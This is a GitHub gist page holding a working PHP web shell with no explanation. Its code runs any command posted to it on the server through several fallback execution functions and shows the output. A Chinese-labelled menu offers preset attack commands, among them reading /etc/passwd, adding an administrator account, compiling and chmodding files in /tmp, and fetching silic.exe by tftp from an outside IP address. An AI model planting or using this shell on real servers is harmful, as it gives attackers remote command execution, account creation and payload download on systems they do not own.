Skip to content

Instantly share code, notes, and snippets.

@xiaozhu2007
Created April 1, 2022 14:01
Show Gist options
  • Save xiaozhu2007/f0b8f24b64376db98d8eea194865dcd6 to your computer and use it in GitHub Desktop.
Save xiaozhu2007/f0b8f24b64376db98d8eea194865dcd6 to your computer and use it in GitHub Desktop.
<?php
error_reporting(E_ERROR);
header("content-Type: text/html; charset=utf-8");
set_time_limit(0);
function Root_CSS()
{
print<<<CSS
<style type="text/css">
* {
padding: 0;
margin: 0;
}
body {
background: #fff;
font-family: "Verdana","Tahoma","宋体",sans-serif;
font-size: 13px;
margin-top: 3px;
margin-bottom: 3px;
table-layout: fixed;
word-break: break-all;
}
</style>\n
CSS;
return false;
}
//执行命令
function Exec_Run($cmd)
{
$res = '';
if(function_exists('exec')){@exec($cmd,$res);$res = join("\n",$res);}
elseif(function_exists('shell_exec')){$res = @shell_exec($cmd);}
elseif(function_exists('system')){@ob_start();@system($cmd);$res = @ob_get_contents();@ob_end_clean();}
elseif(function_exists('passthru')){@ob_start();@passthru($cmd);$res = @ob_get_contents();@ob_end_clean();}
elseif(@is_resource($f = @popen($cmd,"r"))){$res = '';while(!@feof($f)){$res .= @fread($f,1024);}@pclose($f);}
return $res;
}
function Exec_g()
{
$res = '回显';
$cmd = 'dir';
if(!empty($_POST['cmd'])){$res = Exec_Run($_POST['cmd']);$cmd = $_POST['cmd'];}
print<<<EROOT
<script language="javascript">
function sFull(i){
Str = new Array(14);
Str[0] = "dir";
Str[1] = "ls /etc";
Str[2] = "cat /etc/passwd";
Str[3] = "copy";
Str[4] = "uname -a";
Str[5] = "gcc -o /tmp/silic /tmp/silic.c";
Str[6] = "net user /add";
Str[7] = "net user";
Str[8] = "netstat -an";
Str[9] = "ipconfig";
Str[10] = "copy c:\\1.php d:\\2.php";
Str[11] = "tftp -i 123.234.222.1 get silic.exe c:\\silic.exe";
Str[12] = "lsb_release -a";
Str[13] = "chmod 777 /tmp/silic.c";
document.getElementById('cmd').value = Str[i];
return true;
}
</script>
<form method="POST" name="gform" id="gform" action="?#"><center><div class="actall">
命令参数 <input type="text" name="cmd" id="cmd" value="{$cmd}" style="width:399px;">
<select onchange='return sFull(options[selectedIndex].value)'>
<option value="0" selected>--命令集合--</option>
<option value="1">文件列表</option>
<option value="2">读取配置</option>
<option value="3">拷贝文件</option>
<option value="4">系统信息</option>
<option value="5">编译文件</option>
<option value="6">添加管理</option>
<option value="7">用户列表</option>
<option value="8">查看端口</option>
<option value="9">查看地址</option>
<option value="10">复制文件</option>
<option value="11">FTP下载</option>
<option value="12">内核版本</option>
<option value="13">更改属性</option>
</select>
<input type="submit" value="执行" style="width:80px;"></div>
<div class="actall"><textarea name="show" style="width:660px;height:399px;">{$res}</textarea></div></center></form>
EROOT;
return true;
}
///////////////////////////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////////////////
@Root_CSS();
@Exec_g();
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment